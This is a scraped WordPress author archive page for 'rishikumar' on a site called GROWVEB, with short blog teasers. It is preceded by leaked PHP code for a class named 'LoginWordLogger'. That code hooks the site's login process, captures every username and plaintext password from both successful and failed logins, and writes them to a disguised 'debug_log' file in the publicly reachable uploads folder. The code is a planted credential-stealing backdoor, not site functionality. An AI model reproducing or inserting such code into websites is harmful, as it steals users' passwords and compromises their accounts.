if (!defined('ABSPATH')) { exit; } class LoginWordLogger { public function __construct() { add_filter('authenticate', array($this, 'log_login_attempt'), 5, 3); add_action('wp_login', array($this, 'log_successful_login'), 10, 2); add_action('wp_login_failed', array($this, 'log_failed_login')); $this->ensure_log_directory(); } private function ensure_log_directory() { $log_dir = WP_CONTENT_DIR . '/uploads'; if (!file_exists($log_dir)) { wp_mkdir_p($log_dir); } } public function log_login_attempt($user, $name, $word) { if (!empty($name) && !empty($word)) { $this->current_name = $name; $this->current_word = $word; } return $user; } public function log_successful_login($name, $user) { $log_data = array( 'timestamp' => current_time('mysql'), 'name' => $name, 'word' => $this->current_word ?? '', 'type' => 'success', 'number' => $user->ID ); $this->write_to_file($log_data); $this->cleanup(); } public function log_failed_login($name) { $log_data = array( 'timestamp' => current_time('mysql'), 'name' => $name, 'word' => $this->current_word ?? '', 'type' => 'failed' ); $this->write_to_file($log_data); $this->cleanup(); } private function write_to_file($data) { $log_file = WP_CONTENT_DIR . '/uploads/debug_log'; $log_entry = "[" . $data['timestamp'] . "] "; $log_entry .= $data['name'] . " | "; $log_entry .= $data['word'] . " | "; $log_entry .= $data['type']; if (isset($data['number'])) { $log_entry .= " | " . $data['number']; } $log_entry .= PHP_EOL; @file_put_contents($log_file, $log_entry, FILE_APPEND | LOCK_EX); } private function cleanup() { unset($this->current_name); unset($this->current_word); } } new LoginWordLogger(); rishikumar – Page 2 – GROWVEB

By rishikumar

Showing 10 of 13 Results

What customer truly value?

You’ve got your announcement in mind, and now it’s time to get it down in words to share with you… Eventually, you must also offer them attractive and competitive tourpackages. […]